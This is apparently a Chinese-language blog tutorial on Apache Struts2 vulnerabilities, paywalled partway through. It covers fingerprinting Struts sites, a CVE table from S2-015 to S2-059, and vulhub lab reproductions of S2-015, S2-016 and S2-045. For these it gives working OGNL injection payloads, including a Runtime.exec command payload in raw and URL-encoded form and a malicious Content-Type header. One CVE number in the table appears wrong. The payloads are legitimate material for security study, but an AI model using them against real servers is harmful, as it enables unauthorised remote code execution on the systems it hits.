Strtus简介
Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web 应用的开源MVC框架,主要提供两个版本框架产品:Struts 1和Struts2;Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。
判断框架
常规办法有
1、通过页面回显的错误消息来判断,页面不回显错误消息时则无效。
2、通过网页后缀来判断,如.do.action,有可能不准。
3、判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。
其它的方法:
通过 actionErrors。要求是对应的 Action 需要继承自 ActionSupport 类。
利用方法:
如原始 URL 为 https://threathunter.org/则检测所用的 URL 为 https://threathunter.org/?actionErrors=1111
如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:
1、 页面直接出现 404 或者 500 等错误。
2、 页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。
3、 页面的内容结构发生了明显的改变。
4、 页面发生了重定向。
影响版本
| 漏洞编号 | CVE编号 | 影响版本 | 实现功能 |
|---|---|---|---|
| S2-015 | CVE-2013-2135 | S2.0.0-2.3.14.2 | 任意命令执行和反弹shell |
| S2-016 | CVE-2013-2251 | S2.0.0-2.3.15 | 获取WEB路径,任意命令执行,反弹shell和文件上传 |
| S2-045 | CVE-2017-6738 | S2.3.5-2.3.31;2.5-2.5.10 | 获取WEB路径,任意命令执行,反弹shell和文件上传 |
| S2-052 | CVE-2017-9805 | S2.1.2-2.3.33;2.5-2.5.12 | 任意命令执行和反弹shell和文件上传 |
| S2-057 | CVE-2018-11776 | S2.3.-2.3.34;2.5-2.5.16 | 任意命令执行和反弹shell |
| S2-059 | CVE-2019-0230 | S2.0.0-2.5.20 | 任意命令执行 |
S2-015(CVE-2013-2135)复现
原理:如果一个请求与任何其他定义的操作不匹配,它将被匹配*,并且所请求的操作名称将用于以操作名称加载JSP文件。并且,1作为OGNL表达式的威胁值,{ }可以在服务器端执行任意的Java代码。
影响版本:S2.0.0-2.3.14.2
复现流程
进入到vulhub-master目录下
ls
cd strtus2
ls
cd s2-015
ls
docker-compose up -d

-
访问靶场ip:port。如图搭建成功!

-
构造poc,使用抓包工具burp suite,修改数据包插入poc
poc使用之前要先进行url编码。
Poc:
${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘whoami’).getInputStream()),#q}.action
编码后:
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream())%2C%23q%7D.action
4.使用工具。

S2-016(CVE-2013-2251)复现
原理:问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行。
影响版本:Struts 2.0.0 – 2.3.15
复现流程
- 进入到vulhub-master目录下
ls
cd strtus2
ls
cd s2-016
ls
docker-compose up -d

- 访问靶场地址。

- poc测试
/index.action?redirect:%25%7B5*5%7D
命令被成功执行。说明存在漏洞。
- 使用工具检测。

S2-045(CVE-2017-6738)复现
原理:在使用基于 Jakarta 插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,进而执行系统命令。
影响版本:
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10
漏洞复现
- 搭建环境
ls
cd strtus2
ls
cd s2-045
ls
docker-compose up -d

- 访问靶场地址。
http://192.168.100.244:8080/doUpload.action

- 随意上传一个文件并抓包。修改Content-Type。
%{(#test=‘multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)😦(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(10*100)).(#ros.flush())}

本文详细介绍了Apache Struts框架的多个版本存在的安全漏洞,包括S2-015至S2-059,涵盖了命令执行、文件上传等严重风险。通过错误消息、URL后缀、特定页面存在性等方式判断Struts框架的使用,并提供了漏洞复现步骤及POC。同时,文章给出了临时防护措施,如修改配置、过滤Content-Type和升级到不受影响的版本。
最低0.47元/天 解锁文章
306

被折叠的 条评论
为什么被折叠?



